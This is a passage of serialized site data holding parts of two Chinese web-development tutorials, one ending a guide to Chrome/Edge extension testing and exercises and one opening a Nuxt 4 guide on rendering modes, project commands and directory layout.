CSP",[63,4292,4293,4296,4299],{},[84,4294,4295],{},"主题保存了但网页没变",[84,4297,4298],{},"读取配置与应用样式是否接通",[84,4300,4301],{},"存储不会自动驱动网页 DOM 更新",[53,4303,4305],{"id":4304},"如何测量而不是凭感觉说没问题","如何测量，而不是凭感觉说“没问题”",[11,4307,4308,4311,4312,4315],{},[17,4309,4310],{},"注入次数："," 在测试网页控制台检查 ",[22,4313,4314],{},"document.querySelectorAll('#reading-helper-style-v1').length","。第一版反复点击时应在 0 与 1 之间切换，而不是越点越多。",[11,4317,4318,4321,4322,4325,4326,4329,4330,161],{},[17,4319,4320],{},"恢复能力："," 使用第二版，在 Popup 检查窗口执行 ",[22,4323,4324],{},"chrome.storage.local.set({ readingTheme: 'light' })","。关闭检查窗口与 Popup，等待后台进入非活动状态后重新打开 Popup，再检查打印的主题；应该仍为 ",[22,4327,4328],{},"light","。随后删除该键再试，应回退为 ",[22,4331,4332],{},"paper",[11,4334,4335,4338],{},[17,4336,4337],{},"权限边界："," 分别测试普通网页、受保护页面和跨源导航后的标签页。临时授权失效时，应允许用户重新调用扩展，而不是无限重试。",[11,4340,4341,4344],{},[17,4342,4343],{},"性能："," 若加入 DOM 观察器，在网页 Performance 面板记录操作前后，观察长任务与回调次数。先证明观察范围、频率或处理量有问题，再引入节流；不要用一个固定频率全页扫描来“保证生效”。",[53,4346,4347],{"id":4347},"三个循序渐进的练习",[1659,4349,4350,4365,4371],{},[1662,4351,4352,4355,4356,1901,4358,4360,4361,4364],{},[17,4353,4354],{},"把主题设置接入阅读开关。"," 让 Popup 保存 ",[22,4357,4332],{},[22,4359,4328],{},"，通过注入函数的 ",[22,4362,4363],{},"args"," 或消息把经过校验的值传到页面。区分“已保存偏好”和“当前页面已应用”的状态。",[1662,4366,4367,4370],{},[17,4368,4369],{},"做一个只在指定网站出现的工具条。"," 使用静态 Content Script，确保 SPA 导航后仍可用，重复初始化不产生两个工具条，并能完整移除自己的 DOM 与监听器。",[1662,4372,4373,4376,4377,4379],{},[17,4374,4375],{},"增加用户主动触发的本地摘录。"," 只保存用户明确选择的文字与允许保存的来源信息，不自动收集整页内容；限制条目大小，提供清空入口，并使用 ",[22,4378,3776],{}," 展示摘录。",[11,4381,4382,4383,4386],{},"到这里，你应该能说清楚四个关键问题：",[17,4384,4385],{},"入口由谁声明、代码在哪执行、数据怎么传递、权限为何必需。"," 这比记住一组 API 名称更重要，也是在原生代码和 Plasmo 等框架之间迁移时最稳定的知识。",[53,4388,4389],{"id":4389},"参考资料与继续阅读",[1773,4391,4392,4399,4407,4415,4423,4431,4438,4446,4454,4460,4468],{},[1662,4393,4394,4398],{},[30,4395,4397],{"href":32,"rel":4396},[34],"枫枫知道：浏览器插件开发课程","：本文选题与核心模块的参考入口。",[1662,4400,4401,4406],{},[30,4402,4405],{"href":4403,"rel":4404},"https:\u002F\u002Fdeveloper.chrome.com\u002Fdocs\u002Fextensions\u002Freference\u002Fmanifest",[34],"Chrome：Manifest 文件格式","：清单字段与 MV3 配置。",[1662,4408,4409,4414],{},[30,4410,4413],{"href":4411,"rel":4412},"https:\u002F\u002Fdeveloper.chrome.com\u002Fdocs\u002Fextensions\u002Fdevelop\u002Fconcepts\u002FactiveTab",[34],"Chrome：activeTab","：用户调用与临时站点访问。",[1662,4416,4417,4422],{},[30,4418,4421],{"href":4419,"rel":4420},"https:\u002F\u002Fdeveloper.chrome.com\u002Fdocs\u002Fextensions\u002Fdevelop\u002Fconcepts\u002Fcontent-scripts",[34],"Chrome：Content Scripts","：隔离环境、注入方式与脚本能力。",[1662,4424,4425,4430],{},[30,4426,4429],{"href":4427,"rel":4428},"https:\u002F\u002Fdeveloper.chrome.com\u002Fdocs\u002Fextensions\u002Fdevelop\u002Fconcepts\u002Fmessaging",[34],"Chrome：消息通信","：一次性消息、端口与安全注意事项。",[1662,4432,4433,4437],{},[30,4434,4436],{"href":3312,"rel":4435},[34],"Chrome：Service Worker 生命周期","：后台停止、唤醒与版本差异。",[1662,4439,4440,4445],{},[30,4441,4444],{"href":4442,"rel":4443},"https:\u002F\u002Fdeveloper.chrome.com\u002Fdocs\u002Fextensions\u002Freference\u002Fapi\u002Fstorage",[34],"Chrome：Storage API","：存储区域、配额与访问规则。",[1662,4447,4448,4453],{},[30,4449,4452],{"href":4450,"rel":4451},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FMozilla\u002FAdd-ons\u002FWebExtensions\u002FAPI\u002Fruntime\u002FonMessage",[34],"MDN：runtime.onMessage","：异步响应与跨浏览器兼容提示。",[1662,4455,4456,4459],{},[30,4457,3898],{"href":3896,"rel":4458},[34],"：工程化、文件约定和构建流程。",[1662,4461,4462,4467],{},[30,4463,4466],{"href":4464,"rel":4465},"https:\u002F\u002Fdeveloper.chrome.com\u002Fdocs\u002Fwebstore\u002Fpublish",[34],"Chrome Web Store 发布指南","：提交包、素材与审核流程。",[1662,4469,4470,4475],{},[30,4471,4474],{"href":4472,"rel":4473},"https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fmicrosoft-edge\u002Fextensions\u002Fpublish\u002Fpublish-extension",[34],"Microsoft Edge 扩展发布文档","：Edge 商店的发布流程。",[595,4477,4478],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sns5M, html code.shiki .sns5M{--shiki-default:#DBEDFF}html pre.shiki code .sRjNt, html code.shiki .sRjNt{--shiki-default:#85E89D;--shiki-default-font-weight:bold}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"title":314,"searchDepth":341,"depth":341,"links":4480},[4481,4486,4492,4498,4503,4508,4513,4518,4524,4529,4534,4539],{"id":50,"depth":341,"text":51,"children":4482},[4483,4484,4485],{"id":55,"depth":357,"text":55},{"id":164,"depth":357,"text":165},{"id":262,"depth":357,"text":262},{"id":294,"depth":341,"text":295,"children":4487},[4488,4489,4490,4491],{"id":298,"depth":357,"text":299},{"id":476,"depth":357,"text":477},{"id":934,"depth":357,"text":934},{"id":1424,"depth":357,"text":1424},{"id":1652,"depth":341,"text":1653,"children":4493},[4494,4495,4496,4497],{"id":1656,"depth":357,"text":1657},{"id":1698,"depth":357,"text":1698},{"id":1765,"depth":357,"text":1765},{"id":1793,"depth":357,"text":1793},{"id":1859,"depth":341,"text":1860,"children":4499},[4500,4501,4502],{"id":1863,"depth":357,"text":1863},{"id":2034,"depth":357,"text":2035},{"id":2124,"depth":357,"text":2124},{"id":2164,"depth":341,"text":2165,"children":4504},[4505,4506,4507],{"id":2168,"depth":357,"text":2169},{"id":2248,"depth":357,"text":2248},{"id":2337,"depth":357,"text":2338},{"id":2360,"depth":341,"text":2361,"children":4509},[4510,4511,4512],{"id":2364,"depth":357,"text":2365},{"id":2388,"depth":357,"text":2389},{"id":2710,"depth":357,"text":2711},{"id":2782,"depth":341,"text":2783,"children":4514},[4515,4516,4517],{"id":2786,"depth":357,"text":2786},{"id":2807,"depth":357,"text":2807},{"id":3238,"depth":357,"text":3238},{"id":3322,"depth":341,"text":3323,"children":4519},[4520,4521,4522,4523],{"id":3326,"depth":357,"text":3326},{"id":3398,"depth":357,"text":3398},{"id":3591,"depth":357,"text":3591},{"id":3635,"depth":357,"text":3635},{"id":3656,"depth":341,"text":3657,"children":4525},[4526,4527,4528],{"id":3660,"depth":357,"text":3660},{"id":3710,"depth":357,"text":3711},{"id":3791,"depth":357,"text":3792},{"id":3814,"depth":341,"text":3815,"children":4530},[4531,4532,4533],{"id":3818,"depth":357,"text":3819},{"id":3882,"depth":357,"text":3883},{"id":3984,"depth":357,"text":3985},{"id":4024,"depth":341,"text":4025,"children":4535},[4536,4537,4538],{"id":4028,"depth":357,"text":4028},{"id":4120,"depth":357,"text":4121},{"id":4136,"depth":357,"text":4136},{"id":4150,"depth":341,"text":4151,"children":4540},[4541,4542,4543,4544],{"id":4154,"depth":357,"text":4154},{"id":4304,"depth":357,"text":4305},{"id":4347,"depth":357,"text":4347},{"id":4389,"depth":357,"text":4389},"browser-extension","\u002Fimg\u002Fbrowser-extension-cover.svg","2026-10-23","从零开发 Chrome 与 Edge 浏览器插件：Manifest V3、Popup、Content Script、Service Worker、消息通信、权限与存储，以完整的阅读助手串起实战，再了解 Plasmo 工程化、调试与商店发布。","md",{},"\u002Ftutorials\u002Fbrowser-extension",{"title":6,"description":4548},{"loc":4551},"tutorials\u002Fbrowser-extension","h0MQxnydAYd-XyqYy3F6Hl-6-pZ9I3CL_YvIOczMHHA",{"id":4557,"title":4558,"body":4559,"category":17587,"cover":17588,"date":17589,"description":17590,"extension":4549,"meta":17591,"navigation":997,"path":17592,"seo":17593,"sitemap":17594,"stem":17595,"__hash__":17596},"tutorials\u002Ftutorials\u002Fnuxt.md","Nuxt 4 教程：从第一个页面到静态部署",{"type":8,"value":4560,"toc":17444},[4561,4571,4592,4596,4602,4605,4707,4711,4718,4721,4747,4753,4760,4764,4793,4797,4814,4824,4830,4857,4861,4945,4949,4952,5027,5032,5126,5143,5150,5156,5186,5191,5194,5200,5203,5400,5416,5420,5430,5606,5633,5638,5641,5668,5691,5713,5730,5753,5768,5779,5789,5793,5937,5941,5956,5959,5965,5977,5984,5994,6090,6093,6103,6369,6398,6404,6413,6577,6587,6592,6603,6606,6620,6661,6679,6706,6727,6750,6766,6775,6779,6939,6943,6953,6956,6963,7015,7024,7120,7138,7141,7192,7210,7217,7377,7380,7416,7423,7448,7451,7503,7523,7530,7589,7604,7608,7626,7629,7650,7672,7685,7700,7713,7725,7741,7745,7881,7889,7896,7903,7912,7919,8153,8181,8189,8285,8294,8298,8362,8375,8386,8399,8565,8573,8580,8634,8650,8656,8659,8698,8704,8708,8716,8719,8743,8765,8781,8803,8825,8846,8859,8881,8885,9119,9126,9137,9241,9254,9418,9440,9513,9517,9520,9531,9677,9680,9707,9711,9765,9775,9783,9856,9859,9867,9876,9887,9899,9924,9948,9959,9977,9984,10068,10075,10086,10089,10209,10348,10383,10387,10658,10671,10674,10734,10740,10743,10763,10767,10770,10792,10808,10821,10836,10852,10870,10887,10929,10944,10957,10961,11135,11142,11150,11154,11250,11290,11307,11310,11401,11415,11418,11421,11479,11491,11494,11506,11523,11532,11566,11582,11596,11608,11627,11647,11651,11768,11775,11784,11787,11967,12084,12088,12107,12154,12161,12165,12168,12179,12185,12189,12192,12200,12218,12251,12268,12282,12291,12394,12412,12423,12435,12441,12615,12619,12626,12633,12822,12855,12862,12981,13001,13005,13020,13093,13118,13122,13247,13260,13264,13281,13354,13366,13369,13382,13396,13412,13431,13439,13454,13465,13481,13485,13564,13571,13578,13585,13643,13652,13670,13674,13691,13716,13879,13931,13947,13951,13999,14060,14065,14068,14071,14097,14105,14125,14137,14145,14157,14167,14171,14254,14258,14261,14339,14342,14456,14459,14549,14561,14565,14663,14769,14795,14806,14816,14819,14900,14903,14921,14939,14957,14963,14987,14995,15022,15033,15037,15125,15129,15140,15143,15231,15234,15251,15254,15260,15272,15318,15343,15367,15371,15375,15477,15480,15527,15533,15573,15615,15630,15633,15717,15720,15728,15746,15762,15776,15797,15805,15817,15823,15827,15922,15926,15929,15932,16014,16029,16033,16211,16214,16226,16231,16327,16336,16340,16459,16462,16465,16473,16481,16498,16514,16523,16534,16549,16559,16576,16580,16675,16679,16683,16890,16893,17144,17147,17360,17363,17434,17441],[11,4562,4563,4564],{},"这门课的写法参照本站（一个真实的 Nuxt 4 静态站点）：每一章先给「最短能跑的一段代码」，再给对照表，最后列出这一章会踩的坑。学完的判定标准很朴素：",[17,4565,4566,4567,4570],{},"你能从零起一个 Nuxt 项目，写出 5 个页面、2 个服务端接口，",[22,4568,4569],{},"nuxt generate"," 出一份能丢进 Nginx 的静态产物。",[11,4572,4573,4574,272,4577,272,4580,4583,4584,4587,4588,4591],{},"版本基线：Nuxt 4.5 \u002F Nitro 2.x \u002F Vue 3.5 \u002F Vite 7。文中关键配置（",[22,4575,4576],{},"app.baseURL",[22,4578,4579],{},"nitro.prerender",[22,4581,4582],{},"components"," 前缀、",[22,4585,4586],{},"routeRules"," 等）都对照本项目的 ",[22,4589,4590],{},"nuxt.config.ts"," 与产物核过；需要区分旧行为时会注明「Nuxt 3 时代」。前置知识是本教程的姊妹篇《Vue 3 教程》——Nuxt 不发明新语法，它只是把 Vue 应用装进了一个有服务端的外壳里。",[48,4593,4595],{"id":4594},"一nuxt-是什么vue-应用外面那层服务端","一、Nuxt 是什么：Vue 应用外面那层服务端",[11,4597,4598,4599],{},"一句话：",[17,4600,4601],{},"Nuxt = Vue + 路由 + 服务端渲染 + 构建配置 + 一整套目录约定。",[11,4603,4604],{},"如果你已经按《Vue 3 教程》用 Vite 建过项目，你会遇到这三件事，Nuxt 就是把它们全包了：",[57,4606,4607,4617],{},[60,4608,4609],{},[63,4610,4611,4614],{},[66,4612,4613],{},"你自己搭 Vite + Vue 时的活",[66,4615,4616],{},"Nuxt 里的对应",[79,4618,4619,4637,4656,4671,4688,4696],{},[63,4620,4621,4631],{},[84,4622,4623,4624,4627,4628],{},"装 ",[22,4625,4626],{},"vue-router","、写路由表、注册 ",[22,4629,4630],{},"\u003CRouterView>",[84,4632,1847,4633,4636],{},[22,4634,4635],{},"app\u002Fpages\u002F"," 放文件，路由自动生成",[63,4638,4639,4649],{},[84,4640,4641,4642,4645,4646],{},"建 ",[22,4643,4644],{},"components\u002F","、每个组件手写 ",[22,4647,4648],{},"import",[84,4650,4651,4652,4655],{},"放进 ",[22,4653,4654],{},"app\u002Fcomponents\u002F","，模板里直接用",[63,4657,4658,4665],{},[84,4659,4660,4661,4664],{},"写 ",[22,4662,4663],{},"useCounter.js"," 组合式函数并手动 import",[84,4666,4651,4667,4670],{},[22,4668,4669],{},"app\u002Fcomposables\u002F","，自动可用",[63,4672,4673,4683],{},[84,4674,4675,4676,272,4679,4682],{},"配 ",[22,4677,4678],{},"vite.config.js",[22,4680,4681],{},"build.base","、dev 代理",[84,4684,4685,4687],{},[22,4686,4590],{}," 一个文件",[63,4689,4690,4693],{},[84,4691,4692],{},"需要 SEO \u002F 首屏快 → 自己搭 Node SSR 服务",[84,4694,4695],{},"内置 SSR，且能一个开关切到纯静态",[63,4697,4698,4701],{},[84,4699,4700],{},"需要几个后端接口给前端用",[84,4702,4703,4706],{},[22,4704,4705],{},"server\u002Fapi\u002F*.ts"," 文件即接口（Nitro）",[53,4708,4710],{"id":4709},"为什么首屏这件事值得多一层服务端","为什么「首屏」这件事值得多一层服务端",[11,4712,4713,4714,4717],{},"浏览器拿到的是 HTML。SPA（纯客户端渲染）的 HTML 里只有一个空 ",[22,4715,4716],{},"\u003Cdiv id=\"app\">\u003C\u002Fdiv>","，正文要等 JS 下载、执行、请求数据之后才出现；SSR 的 HTML 里正文已经在里面了。",[11,4719,4720],{},"差别体现在三件具体的事上：",[1659,4722,4723,4729,4735],{},[1662,4724,4725,4728],{},[17,4726,4727],{},"用户","：首屏不白屏，弱网\u002F低端机上观感差距明显。",[1662,4730,4731,4734],{},[17,4732,4733],{},"爬虫","：搜索引擎抓取的是 HTML 源码。正文在源码里 = 能被索引；空壳 = 你得赌它的渲染引擎会执行 JS。社交平台的分享卡片（Open Graph）同理。",[1662,4736,4737,4740,4741,4743,4744,161],{},[17,4738,4739],{},"成本","：SSR 需要服务器跑 Node 进程；但 Nuxt 还能「构建期就把 HTML 全生成好」（",[22,4742,4569],{},"），产物是纯静态文件，一台 Nginx 甚至对象存储就够——",[17,4745,4746],{},"这正好是很多内容站真正需要的形态",[4748,4749],"demo-html",{"height":4750,"src":4751,"title":4752},680,"\u002Ftutorials\u002Fnuxt\u002Fdemos\u002F01-ssr-vs-csr.html","示例 01：CSR \u002F SSR \u002F SSG 的加载时序与水合现场",[11,4754,4755,4756,4759],{},"示例 01 把两种模式的瀑布一步步放给你看，最值得注意的是 SSR 那条：",[17,4757,4758],{},"看得见 ≠ 点得动","。服务端渲染出的 HTML 只是「长得一样」，事件要等客户端 JS 执行完「水合」才绑上——这是理解后面所有坑的前提。",[53,4761,4763],{"id":4762},"nuxt-与-vue-的关系不是什么","Nuxt 与 Vue 的关系：不是什么",[1773,4765,4766,4783,4788],{},[1662,4767,4768,4769,4772,4773,272,4776,272,4779,4782],{},"Nuxt ",[17,4770,4771],{},"不是","另一个框架，语法还是 Vue 那一套（",[22,4774,4775],{},"\u003Cscript setup>",[22,4777,4778],{},"ref",[22,4780,4781],{},"computed","、组件、Pinia、Vue Router 全都在）。",[1662,4784,4768,4785,4787],{},[17,4786,4771],{},"「必须有一个后端」。它可以输出纯静态文件，服务器上完全不跑 Node。",[1662,4789,4768,4790,4792],{},[17,4791,4771],{}," Next\u002FNuxt 之争的主角。它对标的是「Next.js 之于 React」，但作为 Vue 官方推荐的应用框架，接口设计更贴近 Vue 的直觉。",[53,4794,4796],{"id":4795},"️-本章的坑","⚠️ 本章的坑",[11,4798,4799,4802,4803,4805,4806,4809,4810,4813],{},[17,4800,4801],{},"1. 以为 Nuxt 一定要 Node 服务器。"," 内容站用 ",[22,4804,4569],{}," 出静态产物 + Nginx 就够了（第十三章实测链路）。反过来说，需要「按请求动态渲染」时才要 Node（",[22,4807,4808],{},"nuxt build"," + ",[22,4811,4812],{},"node .output\u002Fserver\u002Findex.mjs","）。",[11,4815,4816,4819,4820,4823],{},[17,4817,4818],{},"2. 把 SSR 当成「一定比 CSR 快」。"," 服务端要为每个请求跑一遍组件渲染，高并发下 CPU 是成本；对纯内部系统（登录才能进、无 SEO 需求）",[22,4821,4822],{},"ssr: false"," 反而更省事。",[11,4825,4826,4829],{},[17,4827,4828],{},"3. 忽略了「水合」这一层的代价。"," SSR 首屏有内容，但要等 JS 加载完才可交互，这段间隔叫 TTI。页面里塞了大 JS 时，SSR 也救不了交互延迟——所以第九章的渲染模式和第十四章的包体积优化要一起看。",[11,4831,4832,4835,4836,4839,4840,4843,4844,4846,4847,272,4850,272,4853,4856],{},[17,4833,4834],{},"4. 拿 Nuxt 2 \u002F Nuxt 3 的老教程直接抄。"," Nuxt 4 把源码目录收进了 ",[22,4837,4838],{},"app\u002F","（",[22,4841,4842],{},"pages\u002F"," → ",[22,4845,4635],{},"），",[22,4848,4849],{},"server\u002F",[22,4851,4852],{},"public\u002F",[22,4854,4855],{},"content\u002F"," 仍在根目录。还有一批默认值变化（见第二章对照表）。搜资料时先确认版本。",[53,4858,4860],{"id":4859},"附名词对照","附：名词对照",[57,4862,4863,4873],{},[60,4864,4865],{},[63,4866,4867,4870],{},[66,4868,4869],{},"名词",[66,4871,4872],{},"是什么",[79,4874,4875,4883,4894,4906,4917,4925,4933],{},[63,4876,4877,4880],{},[84,4878,4879],{},"Nuxt",[84,4881,4882],{},"应用框架（你写代码的地方）",[63,4884,4885,4888],{},[84,4886,4887],{},"Nitro",[84,4889,4890,4891,4893],{},"Nuxt 的服务端引擎（",[22,4892,4849],{}," 目录、构建产物、部署适配都是它管的）",[63,4895,4896,4899],{},[84,4897,4898],{},"Vite",[84,4900,4901,4902,4905],{},"开发服务器与打包器，Nuxt 用它，配置通过 ",[22,4903,4904],{},"vite: {}"," 传",[63,4907,4908,4910],{},[84,4909,53],{},[84,4911,4912,4913,4916],{},"Nitro 里的 HTTP 框架，",[22,4914,4915],{},"defineEventHandler"," 来自它",[63,4918,4919,4922],{},[84,4920,4921],{},"SSR \u002F SSG \u002F CSR",[84,4923,4924],{},"服务端渲染 \u002F 构建期静态生成 \u002F 纯客户端渲染",[63,4926,4927,4930],{},[84,4928,4929],{},"水合（hydration）",[84,4931,4932],{},"客户端把已有 DOM 接管为响应式组件，并绑上事件",[63,4934,4935,4938],{},[84,4936,4937],{},"payload",[84,4939,4940,4941,4944],{},"Nuxt 把服务端取到的数据序列化进 ",[22,4942,4943],{},"_payload.json","，供客户端复用",[48,4946,4948],{"id":4947},"二跑起来第一个项目三条命令与目录约定","二、跑起来第一个项目：三条命令与目录约定",[53,4950,4951],{"id":4951},"创建与运行",[308,4953,4955],{"className":3902,"code":4954,"language":3904,"meta":314,"style":314},"# ① 官方脚手架（会问你是否装 modules \u002F 用 TS \u002F 起 dev 服务）\nnpx nuxi@latest init my-site\n\n# ② 手动（已有仓库时）\nnpm create nuxt@latest my-site\n\ncd my-site\nnpm install\nnpm run dev          # http:\u002F\u002Flocalhost:3000，改文件即时热更新\n",[22,4956,4957,4962,4976,4980,4985,4997,5001,5007,5014],{"__ignoreMap":314},[331,4958,4959],{"class":333,"line":334},[331,4960,4961],{"class":1003},"# ① 官方脚手架（会问你是否装 modules \u002F 用 TS \u002F 起 dev 服务）\n",[331,4963,4964,4967,4970,4973],{"class":333,"line":341},[331,4965,4966],{"class":501},"npx",[331,4968,4969],{"class":365}," nuxi@latest",[331,4971,4972],{"class":365}," init",[331,4974,4975],{"class":365}," my-site\n",[331,4977,4978],{"class":333,"line":357},[331,4979,998],{"emptyLinePlaceholder":997},[331,4981,4982],{"class":333,"line":371},[331,4983,4984],{"class":1003},"# ② 手动（已有仓库时）\n",[331,4986,4987,4990,4992,4995],{"class":333,"line":384},[331,4988,4989],{"class":501},"npm",[331,4991,3919],{"class":365},[331,4993,4994],{"class":365}," nuxt@latest",[331,4996,4975],{"class":365},[331,4998,4999],{"class":333,"line":397},[331,5000,998],{"emptyLinePlaceholder":997},[331,5002,5003,5005],{"class":333,"line":418},[331,5004,3936],{"class":344},[331,5006,4975],{"class":365},[331,5008,5009,5011],{"class":333,"line":427},[331,5010,4989],{"class":501},[331,5012,5013],{"class":365}," install\n",[331,5015,5016,5018,5021,5024],{"class":333,"line":439},[331,5017,4989],{"class":501},[331,5019,5020],{"class":365}," run",[331,5022,5023],{"class":365}," dev",[331,5025,5026],{"class":1003},"          # http:\u002F\u002Flocalhost:3000，改文件即时热更新\n",[11,5028,5029,5031],{},[22,5030,4011],{}," 里 Nuxt 给了四条命令，语义区别要一次记清：",[57,5033,5034,5050],{},[60,5035,5036],{},[63,5037,5038,5041,5044,5047],{},[66,5039,5040],{},"命令",[66,5042,5043],{},"做什么",[66,5045,5046],{},"产物",[66,5048,5049],{},"用于",[79,5051,5052,5068,5089,5110],{},[63,5053,5054,5059,5062,5065],{},[84,5055,5056],{},[22,5057,5058],{},"nuxt dev",[84,5060,5061],{},"带 SSR 的开发服务器",[84,5063,5064],{},"无（内存里跑）",[84,5066,5067],{},"日常开发",[63,5069,5070,5074,5080,5086],{},[84,5071,5072],{},[22,5073,4808],{},[84,5075,5076,5077],{},"生产构建，",[17,5078,5079],{},"保留服务端",[84,5081,5082,5085],{},[22,5083,5084],{},".output\u002F","（含 Node server）",[84,5087,5088],{},"需要按请求动态渲染\u002F接口",[63,5090,5091,5095,5101,5107],{},[84,5092,5093],{},[22,5094,4569],{},[84,5096,5097,5098],{},"构建 + ",[17,5099,5100],{},"把所有页面预渲染成 HTML",[84,5102,5103,5106],{},[22,5104,5105],{},".output\u002Fpublic\u002F","（纯静态）",[84,5108,5109],{},"内容站、部署到 Nginx\u002FOSS",[63,5111,5112,5117,5120,5123],{},[84,5113,5114],{},[22,5115,5116],{},"nuxt preview",[84,5118,5119],{},"本地按产物方式预览",[84,5121,5122],{},"—",[84,5124,5125],{},"上线前必跑一遍",[11,5127,5128,5131,5132,5135,5136,5139,5140,161],{},[22,5129,5130],{},"nuxt prepare","（脚手架会挂到 ",[22,5133,5134],{},"postinstall","）用来生成 ",[22,5137,5138],{},".nuxt\u002F"," 里的类型与自动导入声明——",[17,5141,5142],{},"IDE 报「找不到 useFetch」多半是它没跑过",[53,5144,5146,5147,5149],{"id":5145},"目录约定nuxt-4源码进-app","目录约定（Nuxt 4：源码进 ",[22,5148,4838],{},"）",[308,5151,5154],{"className":5152,"code":5153,"language":313},[311],"my-site\u002F\n├── nuxt.config.ts        唯一的总配置\n├── app\u002F                  ← Nuxt 4 的 srcDir\n│   ├── app.vue           根组件（挂 \u003CNuxtLayout>\u003CNuxtPage\u002F>\u003C\u002FNuxtLayout>）\n│   ├── error.vue         错误页（放在 app\u002F 根，专门显示 404\u002F500）\n│   ├── pages\u002F            页面 → 自动生成路由（第三章）\n│   ├── layouts\u002F          布局骨架（default.vue 默认全站套用）\n│   ├── components\u002F       组件，自动导入（本章最后一节）\n│   ├── composables\u002F      useXxx 组合式函数，自动导入\n│   ├── utils\u002F            纯函数，自动导入（无需 use 前缀）\n│   ├── plugins\u002F          插件（第十二节）\n│   ├── middleware\u002F       路由中间件（第十二章）\n│   └── assets\u002F           需要被打包的 css\u002F图片\u002F字体\n├── server\u002F               Nitro 服务端\n│   ├── api\u002F              文件即接口 → \u002Fapi\u002Fxxx\n│   ├── routes\u002F           不走 \u002Fapi 前缀的接口\n│   ├── middleware\u002F       服务端中间件\n│   └── utils\u002F            服务端内部工具，自动导入\n├── public\u002F               原样拷贝到产物根（favicon、静态 demo）\n├── content\u002F              内容模块的 Markdown（本站教程就放这里）\n└── .nuxt\u002F                构建缓存与生成物，别提交 git\n",[22,5155,5153],{"__ignoreMap":314},[11,5157,5158,5160,5161,5164,5165,4839,5170,5173,5174,5177,5178,5181,5182,5185],{},[22,5159,4852],{}," 与 ",[22,5162,5163],{},"app\u002Fassets\u002F"," 的分界是最常问的：",[17,5166,5167,5169],{},[22,5168,4852],{}," 里的文件路径不变、原样搬过去",[22,5171,5172],{},"public\u002Fimg\u002Flogo.png"," 直接用 ",[22,5175,5176],{},"\u002Fimg\u002Flogo.png","）；",[22,5179,5180],{},"assets\u002F"," 里的会被打包、加哈希、能参与 CSS ",[22,5183,5184],{},"url()"," 解析和体积优化。",[4748,5187],{"height":5188,"src":5189,"title":5190},660,"\u002Ftutorials\u002Fnuxt\u002Fdemos\u002F02-directory-tree.html","示例 02：目录树点击器——每个目录会自动发生什么",[11,5192,5193],{},"示例 02 把整棵树做成了可点开的形式，顶部还能按关键词（layouts \u002F api \u002F public）过滤，忘了某个目录放什么就点一下。",[53,5195,5197,5199],{"id":5196},"nuxtconfigts-的最小可用版",[22,5198,4590],{}," 的最小可用版",[11,5201,5202],{},"本站的实际配置形状（有删减，注释是我加的）：",[308,5204,5208],{"className":5205,"code":5206,"language":5207,"meta":314,"style":314},"language-ts shiki shiki-themes github-dark","\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  compatibilityDate: '2025-09-01',      \u002F\u002F 锁定行为版本，避免升级悄悄改默认值\n  devtools: { enabled: true },\n\n  ssr: true,                            \u002F\u002F 服务端渲染（默认就是 true）\n\n  modules: ['@nuxt\u002Fcontent', '@nuxtjs\u002Fsitemap'],\n\n  components: [{ path: '~\u002Fcomponents', pathPrefix: false }],  \u002F\u002F 关掉「目录名前缀」\n\n  nitro: {\n    prerender: {\n      crawlLinks: true,                 \u002F\u002F 从入口出发顺着链接爬，自动发现要生成的页面\n      routes: ['\u002F', '\u002Ftools', '\u002Farticles', '\u002Ftutorials']\n    }\n  },\n\n  site: { url: 'https:\u002F\u002Fyour-domain.com', name: '站名' }   \u002F\u002F sitemap \u002F OG 绝对地址用\n})\n","ts",[22,5209,5210,5215,5228,5242,5252,5256,5269,5273,5288,5292,5311,5315,5320,5325,5338,5363,5367,5371,5375,5395],{"__ignoreMap":314},[331,5211,5212],{"class":333,"line":334},[331,5213,5214],{"class":1003},"\u002F\u002F nuxt.config.ts\n",[331,5216,5217,5220,5223,5226],{"class":333,"line":341},[331,5218,5219],{"class":616},"export",[331,5221,5222],{"class":616}," default",[331,5224,5225],{"class":501}," defineNuxtConfig",[331,5227,1250],{"class":337},[331,5229,5230,5233,5236,5239],{"class":333,"line":357},[331,5231,5232],{"class":337},"  compatibilityDate: ",[331,5234,5235],{"class":365},"'2025-09-01'",[331,5237,5238],{"class":337},",      ",[331,5240,5241],{"class":1003},"\u002F\u002F 锁定行为版本，避免升级悄悄改默认值\n",[331,5243,5244,5247,5249],{"class":333,"line":371},[331,5245,5246],{"class":337},"  devtools: { enabled: ",[331,5248,1131],{"class":344},[331,5250,5251],{"class":337}," },\n",[331,5253,5254],{"class":333,"line":384},[331,5255,998],{"emptyLinePlaceholder":997},[331,5257,5258,5261,5263,5266],{"class":333,"line":397},[331,5259,5260],{"class":337},"  ssr: ",[331,5262,1131],{"class":344},[331,5264,5265],{"class":337},",                            ",[331,5267,5268],{"class":1003},"\u002F\u002F 服务端渲染（默认就是 true）\n",[331,5270,5271],{"class":333,"line":418},[331,5272,998],{"emptyLinePlaceholder":997},[331,5274,5275,5278,5281,5283,5286],{"class":333,"line":427},[331,5276,5277],{"class":337},"  modules: [",[331,5279,5280],{"class":365},"'@nuxt\u002Fcontent'",[331,5282,409],{"class":337},[331,5284,5285],{"class":365},"'@nuxtjs\u002Fsitemap'",[331,5287,415],{"class":337},[331,5289,5290],{"class":333,"line":439},[331,5291,998],{"emptyLinePlaceholder":997},[331,5293,5294,5297,5300,5303,5305,5308],{"class":333,"line":450},[331,5295,5296],{"class":337},"  components: [{ path: 